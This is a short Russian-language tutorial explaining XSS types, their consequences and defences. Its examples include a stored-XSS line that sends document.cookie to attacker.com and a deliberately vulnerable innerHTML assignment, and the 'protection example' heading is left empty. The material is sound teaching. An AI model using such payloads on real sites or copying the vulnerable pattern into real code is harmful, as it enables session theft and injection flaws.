XSS (Cross-Site Scripting)
XSS — это тип атаки, при которой злоумышленник внедряет вредоносный JavaScript код в веб-страницы, просматриваемые другими пользователями.
Типы XSS атак
- Reflected XSS — код выполняется немедленно из запроса
- Stored XSS — код сохраняется на сервере и выполняется при просмотре
- DOM-based XSS — выполнение происходит в DOM браузера
Примеры XSS атак
1<!-- Пример reflected XSS -->
2<!-- URL: site.com/search?q=<script>alert('XSS')</script> -->
3
4<!-- Пример stored XSS -->
5<!-- В комментарии: <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> -->
6
7<!-- DOM-based XSS -->
8<script>
9document.getElementById('welcome').innerHTML =
10 'Hello ' + getUrlParam('name'); // Уязвимо к XSS
11</script>
Последствия XSS атак
- Кража cookies и сессий
- Перенаправление на вредоносные сайты
- Кража личных данных
- Выполнение действий от имени пользователя
- Распространение червей
Методы защиты от XSS
- Input validation — проверка входящих данных
- Output encoding — экранирование выводимых данных
- CSP — Content Security Policy
- HttpOnly cookies — защита cookies от JavaScript
- X-XSS-Protection — заголовок браузера
Пример защиты
FAQ
В чем разница между XSS и CSRF?
XSS внедряет код в страницу жертвы, CSRF заставляет жертву выполнить нежелательные действия на другом сайте.